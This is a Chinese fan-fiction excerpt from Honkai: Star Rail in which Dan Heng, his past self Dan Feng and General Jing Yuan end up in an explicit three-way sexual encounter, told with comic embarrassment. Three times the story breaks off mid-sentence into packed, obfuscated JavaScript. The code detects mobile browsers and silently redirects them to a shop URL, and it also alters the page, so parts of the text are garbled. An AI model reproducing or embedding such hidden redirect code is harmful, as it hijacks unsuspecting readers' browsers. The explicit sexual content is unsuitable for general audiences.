《[崩铁]丹恒老师的“受难”之旅》 7. 这个世界太疯狂 丹恒没想回列车,反而要避免自己跑回去后,在伙伴们面前社死,所以他下意识的跑到了这具身体记忆里最熟悉的地方。 ——鳞渊境。 然后在风驰电掣的飞奔中,差点撞上一位刚刚才分别不久的“熟人”。 那位墨发白衣的男人负手而立,背对着众人,抬起头,远远的眺望着,似乎正在注视打量古海更深处的那丰饶建木,那个他已经镇守无数年的奇观景胜之物。 丹恒很想不管不顾的径直撞过去,再逃之夭夭,但他的良心实在是还处于健康状态,丢不下那个道德素质。 于是他停住身,利索转身,拔腿就跑。 希望丹枫他没注意到自己,真切希望! 可惜,他的许愿还是没有成功。 那位不知何时也一起来到七百年后的饮月龙尊,尽管背对着他们,却依然得知了丹恒这群人的行踪。 丹恒撞上了一面水墙,薄薄一层,很容易就能挣脱,但这个时候,丹枫已经转过身,朝他们看过来了。 来不及——已经发现他们了。 龙尊目光平淡的扫过丹恒还有刃,最后落在了另一位熟悉又不熟悉的身影上。 他开口说道:“小恒,身为持明一族的尊长,何时这般慌张?” 男人青瞳里结着冰,看起来就像是凛冽如雪的巍峨高山,令人高不可攀的同时,又倾倒于那清华独绝的气质。丹恒被看的头皮发麻,虽然现在丹枫看起来很正常,可他还是怕这个人突然会发疯。 不过龙尊这回注意力在别的地方,他瞥过视线,看着持明肩上的那人,淡淡道:“景元,既然已经清醒,就别赖在他身上了。” —— 如今的罗浮神策将军正微微笑着,用那双金眸灿烂的眼睛,上下打量站在对面的那个男人。 ——七百年前的饮月君丹枫。 也曾是他的好友之一。 回想起以前的岁月,倒也不算太清晰了,毕竟已经过去了数百年的时光。身为罗浮的将军,他也有太多需要操心的事宜,哪有什么空闲去悲伤秋月,感时伤怀呢。 但能再次见到已经存在于过去时光里的故人,景元还是很高兴的。 “今日何幸,得此嘉辰?”身量已高过丹枫的男人笑弯了眼,白色的发梢随歪头的动作轻晃,立在丹恒与刃之间,目光却牢牢锁在那抹熟悉的身影上。 他指尖无意识摩挲着袖口暗纹,语气里裹着几分岁月沉淀的轻叹:“一别数百霜,常恐故影成烟瘴——丹枫哥,莫不是我刚从案牍堆里抬眼,竟入了一场清梦,连眼前人是真是幻都辨不清了?” 丹枫抬了抬眼皮,“……谁又能知晓呢?” 他把目光扫了扫,从隐隐被景元护在身后的丹恒和刃一一看去,最终又重新回到面前的这个他不再熟悉的景元将军身上。 “你倒是好心……”额上龙角的男人心中明了。 景元不置可否,只是点点头,语气里带了丝无奈:“抱歉,身膺守土之责,未辨故人身前,不敢不存三分惕厉。况且——”他话音微顿,眸光扫过场间,续道:“观丹恒他们神色,似乎对丹枫你……不怎么友好的样子。” 丹枫神情散漫的想了想,却是笑了一下。 “以某种意义上来说,他们那个态度不为错。” 景元有点好奇了。 他刚刚也想明白了,自己似乎误会了什么,丹恒和刃恐怕不是他所想的那样,所以丹恒才会那样焦急的阻止自己。 反而是自己可能好心办了坏事。 不过,也怪不得景元会想岔,以丹恒和刃两人的情况,再加上同时出现,一个人身上满是暧昧的痕迹,一个人看起来很正常,谁来都会觉得是第一个人吃了亏。 出力甚多的丰饶神力笑而不语…… 这恐怕稍微有些地狱笑话了,咳咳,景元眨眨眼,把散逸的思绪回收。 他左右看了许久,对面那位,不论怎么看都不像是假的饮月君丹枫。就饮月君那通身的气质,还有眼神,也没有谁能给他第二个同样的感觉了。 男人坦然受景元的打量,挑挑眉道:“何须自证,你若是不信,不妨来我比试一场?” 景元:…… 他倒是忘了,以丹枫哥的性子,是那种老老实实和人说话,用道理说服别人的人吗? 以理服人【物理版】才是他的风格啊。 以前就天天约架自己师父镜流,三天一小打,七天一大打。刚开始还赢多输少,后面就是输多赢少了。 对此,心高气傲,嘴巴比龙鳞都硬的龙尊大人如是说:“不是我打不过,而是比试,当然友谊第一,输赢第二了。生死战,我必赢!” 那可不?谁生死战打得过奶妈加战士的综合体啊。 跟个作弊一样,边打边奶,其他人还要不要玩了? 景元痛苦地捂住了额头,深吸一口气,他放下手,重新看过来,苦笑着说:“罢了罢了,我信你是真的饮月君了。” 可对面那人好似不怎么开心的压了压眉梢,眼角的红痕凌厉。 他果然想和自己打架,景元心想。 “罗浮新历劫波,正是百废待兴时;我亦旧创未愈,尚需调护一段时日。”景元话音稍缓,金色的眼眸温和如映照在苦海的阳光,他话锋一转,语气里添了丝面对故人独有的熟稔,“比试之事,还是算了吧。行行好,高抬贵手。等您老人家回去后,不妨多多找师父她去切磋,反正她也喜欢和你打。” 丹枫听见景元的拒绝,略有遗憾,倒也没有强求。 反而上前几步,伸手捏住了景元的手腕,他垂下青眸,细细诊断,得了结果,便放开了手,悠然后退了回去。 虽然景元说得严重,丹枫也确实看出他不久前受过重伤,但脉象却是平稳的。应该是有医术高超之人在为他调理,没有大碍,如此也令他放下心来。 丹枫满意的看了一眼在景元身后没有说话的丹恒,眼神赞赏。不愧是自己的后世,医术也同样高明,还记得照顾自己老友。 丹恒被丹枫看得一头雾水,他担忧这人又开始不对劲,不由自主的往景元背后更加缩了缩,用那个高大的身影把丹枫给挡住。 丹枫:? 后世何为要避开自己的视线,看起来不太喜欢自己的模样?他明明就很喜欢小恒来着。 丹恒犹豫地戳了戳身前将军的背,小声说:“丹枫他状态似乎不太正常,将军还请注意一二。” 景元感觉到丹恒居然会躲在了自己身后,他似乎对丹枫很是警惕的样子,内心的好奇更是加剧了起来。 甚至还说出丹枫不正常的话语,真是稀罕之事。 所以,丹枫究竟对丹恒还有刃做了什么? 他们是不是之前和丹枫有过交集?莫不是回到了七百年前? 景元微微考量,然后轻轻笑了笑一下,如此——还真是不可思议的事情啊。 景元对丹恒的提示自然不会忽视,但从现在来看,丹枫的状态都很正常。 于是,景元也没有多加试探,反而直接问出了口。 “你对丹恒和刃是否做了什么?你似乎吓到丹恒了。” 丹枫神色微微一怔,然后若有所思的目光扫过对面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他很少有这般出格的举动,丹枫心想,但如今在这个久别重逢的故人面前,也不算太过失礼。 好吧,就算失礼了,丹枫哥也管不到现在的他了。 男人目光灼灼的看着神色淡淡的龙尊,看进那波澜不惊的青色眼眸中。 他眨眨眼,眼神却是莫名的教人看不真切,然后勾起唇角,悠悠地开口。 “好啊。”白发的俊美将军如是说着。 他甚至扬起了一如往常的笑脸。 “波月古海风高浪急,不是好去处,不如去我的住处吧?” “啪嗒。” 呆滞的丹恒一时放松,那位昏迷不醒的星核猎手被尾巴丢在了沙滩上面。 年轻的持明小龙指着一脸若无其事的景元,手指颤抖,又指向神情平静的丹枫,瞳孔地震。 “……” 他突然不知道该说什么了,内心波涛汹涌,却说不出一句话来,在这里成了一个好看的哑巴。 而这时,那位矜贵的龙尊开了口。 “看起来小恒也很喜欢的样子,不如也一起来吧。” !!! 丹恒也不管刃了,他拔腿就跑。 却被熟悉的尾巴捞了回来。 身边的景元笑眯眯的把刃捡了起来,丹恒看不清他的表情,只觉得那眼角的泪痣都在扭曲。 反了反了,一切都反了! 8. 被美色蛊惑人之常情 之前是刃被丹恒用尾巴拴着跑,他忙着逃命,当事人也早早昏迷,也就没有这般社死的体验。 丹枫将他牢牢地困在青色的龙尾之上,和那跟着一起“狼狈为奸”的罗浮将军一并行走在罗浮之上,看其方向,确实是景元的住处位置,别管丹恒他是怎么知道的。 丹恒掰了掰龙尾巴,却纹丝不动,又不敢真的使力,无奈只能泄了气,把目光放在景元和丹枫的身上。 白发的男人姿态闲适的站立在黑发如瀑的龙尊身边,偶尔会出声为他介绍一下如今的罗浮情况,丹枫虽然没有表露出什么表情,却也是神情舒缓的默默听着,偶尔还会问几句自己感兴趣的事情。 两人之间的气氛透出这种难言的默契,常人很难插入。 “如今的罗浮,感觉如何?”景元笑着问丹枫,“和七百年前还是有不一样的地方吧。” “不错。”丹枫一路看过来,赞同的点点头。景元打小就聪慧,若是当上将军,能治理好罗浮,是无需质疑。不过,他曾记得这位以前的理想倒并非是当将军,而是向往成为一名游历星海的巡海游侠。 龙尊看了一眼如今的景元将军,迅速收获了一枚笑脸后,微微垂眸,没有问出口。只是默默接过了男人递过来的快乐茶,刚刚他在路口买的。是新口味,以前的景元爱喝,现在的这个也喜爱吗?稍微有些太甜了,不过还挺好喝的,丹枫心想。 现在可没那些恼人的龙师在耳边絮絮叨叨,惹人不快,难得如此清闲自在。 七百年后啊,真是不错…… 然后他发现景元也笑着喝了一口,眉头却顿时皱了起来,他苦着脸说:“拿错了,丹枫哥把我的喝了。” 龙尊笑了,他扬扬手中的快乐茶,“是你先给我的,就不能再要回去了。” 景元也笑了,他挑挑眉道:“嗯,那还真是可惜啊。” 丹恒看着他们的相处,有些愣神。他第一次见到这般放松悠哉的景元,那张总是在笑的脸,都好像真挚了许多。 年轻人眨眨眼,深吸口气,不知为何看向那还在晕着生死不知的星核猎手,突然有种自己和他都变成了明亮电灯泡的神奇感悟。 也不知道这家伙是不是感觉到了这种场面,才会在那里“装死”,毕竟大家都知道,刃有不死的诅咒,根本不会这么久都还没有修复好身体,大抵是本人不想醒。 —— 景元带着几人重新返回了自己的府邸,之前被撞断倒塌的树已经被云骑军收拾出去了,可怜那棵已经活了几百年的银杏树,已经被大卸八块的抬出了这个地方,一颗同样高大挺拔的树木被移植了过来,这回碰巧是一颗正红的枫树。 枫叶红似血,慢慢地落着叶子,打着旋,然后被一只手指纤长的手接住。丹枫捏着枫叶,看了一眼,拢回宽大衣袖中,随着景元一路坦然地踏进了他的卧室。 在进入房间之前,丹枫并不把景元在鳞渊境时的话当真的。 作为一个成年人,还是罗浮的将军,怎么可能这般轻佻,可能只是想要把自己这个不稳定因素放在眼皮子底下看着罢了。在外界时,不好讨论过多,但在这种环境下,也能说得更明白些了。 但等丹枫走进房间,微微环视一周后,他才后知后觉的发现,景元确实是认真的。 龙尊有点惊讶,但欣然接受这份送上门的特殊“礼物”。 景元将刃放在了床边的地上,不是他不体谅老朋友,而是景元本来打算把人放在床上的,然后发现床可能不够大,就一脸忍痛割爱的表情,把曾经的好兄弟丢到了床下。好兄弟,真是苦了你了。 丹恒看着景元的动作,欲言又止,最终选择了闭嘴。 他一个“弱小可怜又无助”的家伙给刃说什么情呐,自己都自身难保了。 持明的年轻人被自己的前世用龙尾甩到了床榻的最里面,砸进了一堆柔软的被褥中。是熟悉的体验,在七百年前的时候他也是这么被丢过去的,当然,那个时候是丹枫的床。 真是新奇体验,他也算是解锁某种奇怪的成就了——同时“爬上”罗浮将军还有持明龙尊饮月君的床榻,其他人没自己这么“能”,对吧? 丹恒狼狈地爬起来,好似自己鼻尖都萦绕着一种淡淡的熏香气味。和景元身上的味道一样,但很淡,如果嗅觉不灵敏的人,根本不会察觉出来。 等他挥开乱七八糟挡住视线的罗帐后,那两位已经亲在一起了。 丹恒:…… 他抱住自己的胳膊,往后缩了缩,试图让自己消失在这里。 他们是玩真的!!!救命! 少年突然很想念星穹列车的大家。虽然穹呆愣抽象沉迷垃圾桶,虽然三月七活泼可爱经常无厘头,他们两个往往需要自己去兜底收拾烂摊子,虽然姬子女士的咖啡非常的磨炼意志,还喜欢邀请大家品尝,虽然瓦.尔特先生……好吧,瓦.尔特先生是一位非常靠谱的成年人,没有任何缺点,丹恒也很敬重他。 ……他好想回去,他就不应该上这一次的罗浮。 这一切究竟是怎么了? 他在做梦吗? 不该如此的。 让他回去吧。 可惜,丹恒最近的许愿从来没有灵验过,反而好得不灵坏得灵。 刚许完愿,就有人被掀到了自己面前,丹恒紧紧闭上眼,不肯睁开。仿佛自己看不见,就能当做不存在了。 等唇上传来湿润的舔舐触感后,丹恒后背汗毛都立了起来,他几乎是惊恐得睁开眼,本以为是丹枫在亲自己,但映入眼帘的那个人,更让丹恒觉得无法接受。 是景元。 怎么会是他…… 景元的身后是那端庄矜持的龙尊,此刻正和神策将军那一身甲胄做争斗,他低着头,长长的柔顺黑发倾落在肩背上,脸颊边红流苏耳坠红艳绝俗。丹枫看起来不太熟悉这身甲胄,不过研究了一会儿,就快速而利落得给人卸掉了,只给男人留了一身单衣在身上。 嘴唇被轻轻咬了一口,丹恒回过神,是景元笑眯眯的看着自己,等他把注意力放在自己身上,他才笑吟吟的问:“你在出神?刚刚在想什么?”居然出神了,他就这么没有吸引力? 景元好奇的想,虽然这样说,有点自恋,但丹恒应该不讨厌自己吧?男人摸了摸下巴,又凑过去,在年轻人白嫩的脸颊上咬了一口,留下明晃晃的牙印子。 在想丹枫和你,你们两个很不对劲…… 丹恒抿着唇,没有说话,却也没有特别明显的抗拒之色。他说不清自己是习惯了丹枫那不达目的不罢休的不正常态度,还是自己可能也不对劲了。 丹恒想破罐子破摔了。 男人伸出手抚上青年的脸颊,金色暖熔的眼睛望进丹恒青色的眼眸,那双剔透如宝石的眸子实在是好看,青年一眨不眨的看着他,里面满满的都是他的身影,那是一种信任的姿态。 莫名的,景元忽然记起自己第一次进入幽囚狱,看见那位已经蜕生的故人时的场景。 新生的持明被锁链层层困住,身上有伤痕斑驳的痕迹,幽囚狱一向昏暗无光,是一种压抑绝望的环境,可就连景元也没有想到,他会看见那样一双美丽动人的眼眸。似乎察觉到脚步声,额生双角的少年抬起头,朝他的方向瞪过来,其中升腾的怒火,点亮清透的眸子,那是比太阳还要明亮的眼神。 脚步竟莫名顿了半拍,连带着呼吸都悄悄滞了一瞬。景元垂在身侧的手指,无意识地蜷了蜷。 那不是殿宇里琉璃灯的温软,也不是沙场朝阳的炽烈,是裹着棱角与怒火的亮。少年额间的角还带着未褪尽的青涩,伤痕在昏暗里泛着淡红,可那双瞪过来的眸子,偏生清透得像淬了碎星,怒火腾起时,竟比他曾在天际见过的流火还要灼眼。 心脏像是被什么轻撞了一下,闷声却清晰。 他素来沉稳,哪怕在沙场直面千军万马,心跳也从不会这样失序,可此刻,望着那双亮得几乎要刺破囚狱阴霾的眼睛,竟有股温热的情绪从胸腔里漫上来,软了他原本准备好的措辞,也乱了他惯常的镇定。 比太阳更明亮的光啊…… —— 稍微有点失算了,白发的将军迷蒙地想着,却因为快感的刺激导致大脑几乎停滞,此刻正在艰难的运作着。丹恒原来在床上是这种模式的吗?这看起来一点都想象不出来啊。 浑身都彰显着一种强大而兽性的感觉,仿佛随时都会被拆吃入腹的非人感,冷漠且强势,根本不容人置喙。 景元抓紧了少年纤细的手指,控制不住的力道在上面留下青青.紫紫的痕迹,喉咙里的声音却很诚实得泄露出来,他可不打算忍着,只是这个人做得也太狠了。 他喘息着,试图在这种过量的感官中找到一种平衡,让自己能好过点。 真是个攻击性强烈的年轻人,景元无不苦笑着想,都怪那张脸显得太有欺骗性。 丹恒抬起那张清丽漂亮的五官,望着他时,虽然一如既往的倔强神情,在景元眼里却还是那当初那个在幽囚狱里艰难求存的可怜兮兮的持明幼崽。 那时候的他从未开口求过饶,只默默地忍受着,忍受着那些与自己无关的罪孽,也忍受着一群“陌生人”毫无缘由的怨恨。 景元叹息一声。相对欢喜于再见到丹枫,他对丹恒的态度其实从未改变,虽然达不到什么情爱的程度,但也远不止友情。没有拒绝丹枫提议的自己,就算是再次任性一回吧。 这么久的时间里,他还能有几次机会可以任性呢? 丹枫,亦或者丹恒,也是他所眷恋着的人啊…… 似乎又想了些乱七八糟的事情,人老了就喜欢胡思乱想。面对着两张绝俗出尘的美人,他都能涣散了注意力,还真是不好意思啊。 景元牵起嘴角没来由地笑了一下,然后偏过头,难.耐的咬住了自己的手指。 ……几乎要把理智冲成一团浆糊,景元喘息.着,胸膛剧烈地起伏,感觉太阳穴一抽一抽的胀痛,有点激烈过头了啊,年轻人。 他微微抬起头,看见在丹恒的身后衣衫都还算整齐的男人微垂着那非人的青瞳,正漫不经心的在自己后世雪白的肩颈上吮吻着,不断咬出一道道吻.痕,有些甚至咬得太深,而渗出丝丝缕缕的鲜血,然后被龙轻轻舔走。 景元看见那些痕迹后,总算才知道,丹恒身上那些痕迹究竟是怎么来得了,根本不是他所想的那样,反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472911|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是下位的人因为受不了才在少年身上抓挠出来的吧。 说起来,那个艾草的倒霉家伙不会就是刃吧?如果是他抓得,就非常合理了。 想到这里,景元突然觉得自己的良心开始痛了起来,因为他把刃就这么直接丢在了床底下,尽管那里有厚厚的地毯垫着,倒也不会不舒服。 注意到景元的目光,丹枫勾起唇角,他抚摸了摸丹恒纤细的脖子,在那染上红霞的耳边低声说道:“你看起来似乎还不够用力,景元他都有力气东张西望了。再快一点,再用力一点也没关系的,小恒,景元是长生种,身体可比应星好多了……” 景元没有听清丹枫说得什么,反而是丹恒低下了身。 “景元……将军,腿缠的太、稍微松一点——”他都不好动作了,估计等一会儿结束后,自己的腰也青了。这已经算是连续“作案”了,到时候他会不会因为纵.欲过度而被送进丹鼎司,然后白露看诊啊…… 压在他身体上方的青年的声音低哑,长发垂下落在了他的肩膀和皮肤两侧,情欲的颜色顺着白皙的脸颊攀延上眼尾,混进了那抹飞红之中,让少年本就清丽漂亮的面容更加动人。 啊,还真是出色到无法直视的容颜啊,感觉只要他说了,无论是什么,都能让人毫无疑问的去遵从…… 一个十足漂亮的孩子,他应该宠爱着的故人转世…… 有人将他抱起,他靠在了一个微冷馨香的怀抱里,龙尊丝绸一样顺滑的长发贴在他的肩颈处,冰冰凉凉的。他拽住了一缕垂下来的发丝,景元已经分不清到底是谁的头发了,可能是丹枫的,也可能是丹恒的,但无所谓。 这一切对于他这样的老人家也太超出了,景元甚至有点后悔,想要退缩,可被丹枫牢牢得抱住。男人用戴着黑色手套的修长手指捏住景元的脸颊,使之偏移过来,和自己接.吻,缠绵热情的吻也不像丹枫这个看起来冷冷淡淡的人,他在拉着人一起将理智沉沦。 景元喉结不断地上下滚动着,却还是呼吸不畅。 丹枫在人快要窒息的时候,松开了景元,然后将目光转向一直沉默寡言,只是闷头的后世。 他看起来一副自暴自弃的模样,丹枫莫名觉得可爱,他揽住少年的脖子,将人勾了过来,咬住了那张红润的薄唇,然后成功收获了一道顿生波澜的目光。虽然眼角微红的人收敛的很好,但丹枫还是从其中看出了一抹幽怨。 尽管被对方嫌弃了,可丹枫却挑起了唇角,露出浅浅的笑容来。原来逗弄后世是这么快乐的一件事…… 龙尊重新又咬了一口少年的脸颊,和景元之前的咬痕重叠之后,放开手,去亲景元的脊背,如蜻蜓点水一样温柔。 不过没一会儿,龙又耐不住心底的暴虐之感,撩开浓密柔软的白发,尖锐的牙齿开始细细密密的啃咬他的后脖颈。景元身体微微发抖,仿佛一只受惊应激的狸奴一样。 他亲了一会儿,又觉得不够,丹枫的手指往下滑,从景元结实的背脊落下,自认为没有多使用力道,景元却抖了抖,脸色唰得白了下来,是疼的。 丹恒见状不对,连忙开口叫停了好像还没有察觉到问题所在的丹枫。 “丹枫,将军他受不住的。”丹恒阻止了即将发生的可能会流血的事件。 没有丝毫分寸感的前世,他真的受够了…… “……”丹枫抿了抿嘴,不太高兴的沉了沉脸,青瞳仔细查看景元的状态,发现他确实不太舒服,表情更不开心起来,尽管他的面上没有多大的波动,区别只是唇角轻微的下撇了些许。 丹恒松了一口气,还好丹枫停下了手,看来景元对他还是不一样的。至少能让他听得懂人话…… 想到这里,少年没忍住狠狠瞪了一眼神策将军。若不是他脑子进了水,怎么会变成现在这样? 明明有无数次机会可以避免,但谁叫某人头铁的一意孤行呢?真是该圆滑的时候,不圆滑,屁.股开花了也是自找的! 丹恒咬牙切齿的想。 景元晕乎乎的大脑可能暂时和智慧断开了链接,又被丹恒突如其来的发力给弄得溃不成军。 而丹枫手撑在床上,舔了舔景元恍惚湿润的眼睛。 “景元,我也想。”黑发的美人低垂着眉眼,饮月君轻声对他说着,“……我会小心的,景元,别忘了,我可是医师。会很舒服的……” 景元呼吸都停了一下,神色有些恍惚,他捂住脸,想竭力忽视胸膛里那活蹦乱跳的心脏跳动声,理智告诉他不能答应,可今天一直都颇为放肆的思维却逐渐偏向了另一边。 如果一个接一个,自己估摸着会撑不住的。 所以一起,应该……或许……大概,会好一些? 于是他听见自己恍惚的声音,往日里清朗的声线变得沙哑而低沉:“……好。” 丹恒沉默了。 他没忍住捏起这位聪明的算无遗策的神策将军的脸,死死得盯着打量,似乎想要看出什么来。 这是景元吗? 年轻的持明脑瓜子里突然冒出来这样一个想法。 他确实是景元。 “你真是疯了。” 丹恒最终只吐出这样一句话来。 9. 两个老家伙合伙欺负人 白发的将军眯着眼却只顾着笑,他撑起身体,在床上膝行凑过来,哑声笑着摸了摸青年人光滑柔嫩的脸颊。 “丹恒这是在担心我吗?” 丹恒本能想躲,却强撑着自己不肯退缩,他抬起眼眸定定地看着景元,看着景元这幅熟悉又不熟悉的姿态。将军笑眯眯地凑上来,然后咬了一口丹恒的手指,覆盖了之前的一个牙印。 目光落在那个重新加深的青紫牙印上,丹恒唇角微抿,他有点记不清到底是谁最先咬的了,反正等他发现的时候,已经被咬了不少了。 “丹恒?”往日清朗的声音被压低,便多出了许多蛊惑人心的磁性和魅力。 昳丽的年轻持明眉头抖了抖,他受不了的伸出手捂住了面前人的嘴。丹恒皱眉,耳根却红了一片,小声说:“将军……别再这种时候喊我……我的名字了……” 景元见丹恒弱势的姿态,反而支棱起来不少,恶趣味心顿起,他伸出舌头,舔了一口青年的手心,如愿以偿的看到了对方颤抖一下,随即快如闪电的收回了手,看那瑟缩受惊的姿态,仿佛他才是那个备受欺负的人。 丹恒瞪大眼睛,甚至往后退了退,却被景元抓住了手腕,不要人逃走,他现在甚至有余力去打趣对方。 “丹恒,你若是再往后,就要掉下去了,会压到底下的刃。” 青年的手是凉的,光滑的,景元就像是握住了一团温润滑腻的玉石。 景元的金眸动了动,他微微用了点力,把人扯近,低下头,蓬松柔软的白发登时滑落,毛绒绒的,就好像狸奴一样乖巧柔软的蹭了蹭他的掌心。 “……丹恒……” 丹恒越发的不知所措了,他抬起头望向一边好整以暇看戏的前世。龙尊正在解自己的衣衫,绸缎似的墨发披散下来,男人的一举一动都优雅流畅,富有美感。 作为一族之长,从小在持明被精心教导长大的丹枫,无论是姿态还是仪表都是一等一的优秀,和丹恒这种野蛮且肆意生长的孩子是不同的,尽管两个人该是拥有相同的本源。 想到这个,丹恒并不会感到自卑,因为他已经拥有了一样,所有饮月君都无法得到的珍贵之物——那就是自由。 星海浩荡,这片银河很大很大,拥有者无限的可能——所以,自由才是他作为丹恒活这一世最珍重的东西。 丹枫见后世被景元逗得表情羞耻,脸红的像烧起来一样,可能自己再不帮忙就可以煎鸡蛋了,唇角微勾,他靠了过来,从景元的背后握住了他的手,指腹轻轻摩挲,声音平缓。 “景元,好了……你休息有一会儿了……你——准备好了吗?” 龙尊冷静的声线宣布了一个可怕的事实。 丹枫不像自己后世那种急切和用力,几乎不顾景元的身体状况,虽然龙尊本人也没有做过几次,但得利于刃那具无论怎么做都不会坏的身体来实验,他的技术还是比丹恒要好上不少,起码不像丹恒一样用得都是蛮劲。 年轻人就是这样鲁莽,横冲直撞,精力旺盛呢。 说起来,丹枫想起应星好像挺喜欢那种,看他很.爽的样子,有机会去印证一下…… 龙尊精通医术,他惦记着丹恒一会儿还要继续,行动之间不免温柔了许多,只是察觉到这种事情的人,大概只有景元,而非一直对自己的前世,饮月君丹枫比较抗拒和警惕的丹恒。 丹枫觉得自己对后世实在是用心良苦。自己都这么优待他了,小持明应该多多亲近自己才对,为什么会一副英勇就义的样子对自己呢? 他们难道不算是这个世界上最亲密的存在吗? 丹恒,就是他的血液延续。 龙的瞳孔转深,静静注视着自己的后世,内里的情绪却无法分辨。 如果丹恒知道自己的前世在想什么,一定会无语凝噎的。这种福气,他真的不想要,谢谢。 幸好丹恒现在注意力都在景元身上,没有去观察那位龙尊的神色。 白发的将军艰难喘息着,一边睁开金色的眼眸看丹恒。或许是他对丹恒一直存在着某种神奇的滤镜,青年低头看过来,那清凌凌的眸子里盈起浅浅一层水雾,搭配眼尾的红,无端让景元觉得楚楚可怜,看得叫人心慌。 有炽热的呼吸喷洒在自己的小腹处,是景元几乎快要弯下腰,绑着红绳的白发垂落过来,痒痒的。这个姿势十分地危险,丹恒更是羞赧不已,下意识的就想要躲开,青年伸出手,试图把景元搀扶起来,让自己脱身,最起码不要再是这种尴尬的姿势了。 可丹枫却一点也不谅解丹恒的心思,他俯身,用手拨了拨景元用来束发的红色发绳,末了凑过去,垂着眼,薄唇咬住了一边,缓缓得将其抽了出来。 失去了束缚的白发洒落在景元肩背上,男人绷紧了身体,结实的背脊弓起,颤抖着抓紧了丹恒的手臂,把本来打算支起身体的人直接拖了下来。 丹枫看向对面,“小恒,你为何要跑?” 丹恒默了默,这才摇摇头低声说。 “没有,只是腿麻了,想换个姿势……” 他干巴巴地找着借口。 丹枫吐出嘴中叼着的红色发绳,薄唇勾了勾,但没有什么笑意和表情。龙尊冷淡着一张极其俊美的脸,丹恒看不出他信了没有,只好垂下眼避开他的视线,把目光放在景元身上。 丹枫也没打算纠结这个,他顿了顿,看了一眼丹恒,又看了看景元,好像突然“明白”了什么,于是他低头对景元开口道。 “景元,会做吗?” 景元在丹恒怀里浅浅喘.息了好一会儿,没有拒绝也没有应声,只是过了片刻,他抿着唇,皱着眉试探地伸出舌头舔了一口。 也不知道是什么缘故,从舌尖传递过来的味道不算多好,但也不坏。漂亮的青年似乎带着一种与生俱来的淡淡香气,理智告诉景元,莲花的香气没有味道,可他总觉得那大概是一种淡淡的甜…… 景元看了一眼似乎已经傻了的青年,忽然笑了笑,然后男人喉结动了动,张开嘴,慢慢地尝试往下咽。 丹恒瞳孔骤然紧缩。 如此……如此……荒唐! 他从未想过会有这种场景,这比梦境都要离谱许多的场景居然是现实,以至于让丹恒想给自己催眠自己是在做梦都难以接受。 常年忙于俗务的将军大人自然不会在这方面有什么技巧,他动作生涩,让丹恒觉得这人好像在吃冰棍一样,偶尔还会时不时的用牙齿磕到自己,简直是痛并快乐着。 大概是景元的智慧属性确实够高,没多久他就掌握了技巧。 丹恒忍得有点辛苦,额头渗出的细汗一滴滴从白皙的脸颊滑落到线条完美的下巴,最后滴落下去,深陷的锁骨也因为热气而爬上了晶莹的汗水。 不由自主地握紧手指,圆润的指甲陷进掌心肉里,他努力着适应这种感觉,呼吸急促。青年修长的手指插入景元浓密而柔软的发丝中,青年左右纠结着,不知该就这么按下去,还是推开他。 丹枫见状,反倒挑挑眉说了话。 “如果想要景元听话点,你可以试试对他撒个娇。”男人按揉了几下景元的后颈以示安抚,轻轻挑唇,“你之前对应星不是做得很好吗?小恒。” 丹枫这个话,几乎要让丹恒跳起来…… 他慌张去看景元。 白发的男人自然是听见了,景元抬起头,眼角发红泪痣惑人,他吐出嘴里的东西,咳了咳,声音沙哑道:“哦?” “是这样吗?丹恒?” “所以,不打算让我也听听吗?丹恒,小恒?”景元从下而上的望着他,眼尾下垂,表情有点难过的样子,他散着白发,更像是无精打采的猫猫了。 丹恒:“……” 他感觉自己身体里的血液在往上涌,脸应该是红了。这种事情,怎么能一样。 可是景元……他想看,要满足他吗? 脑子里的思维混乱成一团,让持明的年轻人觉得一团糟的现状不如去蜕生…… 可最终,他还是红着眼睛,声音颤抖的说出了一些自己平时根本没有想象过的话语。景元都为他这样做了,如果他想听,自己舍了脸皮又有何妨?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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丹恒没搭理看见自己,眼睛都微微亮了一点的龙尊大人,反而看了看房间,心头突然涌上了一种特别不好的感觉,他的目光落在床边的地毯上,那个昏迷的星核猎手已经不见了。而整个屋子里焕然一新,被收拾的很干净,甚至还点好了淡雅的熏香。 看起来,一切平常又和谐。 可丹恒却毛骨悚然起来。 他抱紧了怀里已经沉睡过去的景元,竭力不让自己弄疼吵醒对方,听见自己声音空洞而漂浮,虚弱地问丹枫。 “丹枫,这个房间是你整理的吗?” 矜贵的龙尊不解地歪歪头。 “当然不是,这里自然有人代劳,我岂会做这种事?”他理直气壮又理所应当的回答了后世的问题。 丹恒:…… O_o 丹枫!!!啊!他的清誉!啊呜呜呜! 丹枫这个时候,仿佛打通了任督二脉,突然就能解读丹恒面无表情之下的崩溃情绪了。 于是这位饮月龙尊降贵纡尊的下了床,赤着雪白的脚走过来,拍拍后世单薄的肩膀,他语气难得温柔。 “没关系的,他们进来之前跟我保证过,绝对不会到处乱说。而且刚刚还有位小姑娘接走刃的时候,也跟我保证过了,说是他们有个人能用言灵清除别人的记忆。” 丹恒无慈悲的转过视线, 他说:“……所以星核猎手也知道了?” 丹枫眨眨眼:“嗯?”他的眼神仿佛在问,有什么关系?都是成年人了,做了这种事情很奇怪吗? 于是,他又摇摇头说:“放心,那个叫卡芙卡的星核猎手没来……” 丹恒终于裂开了。 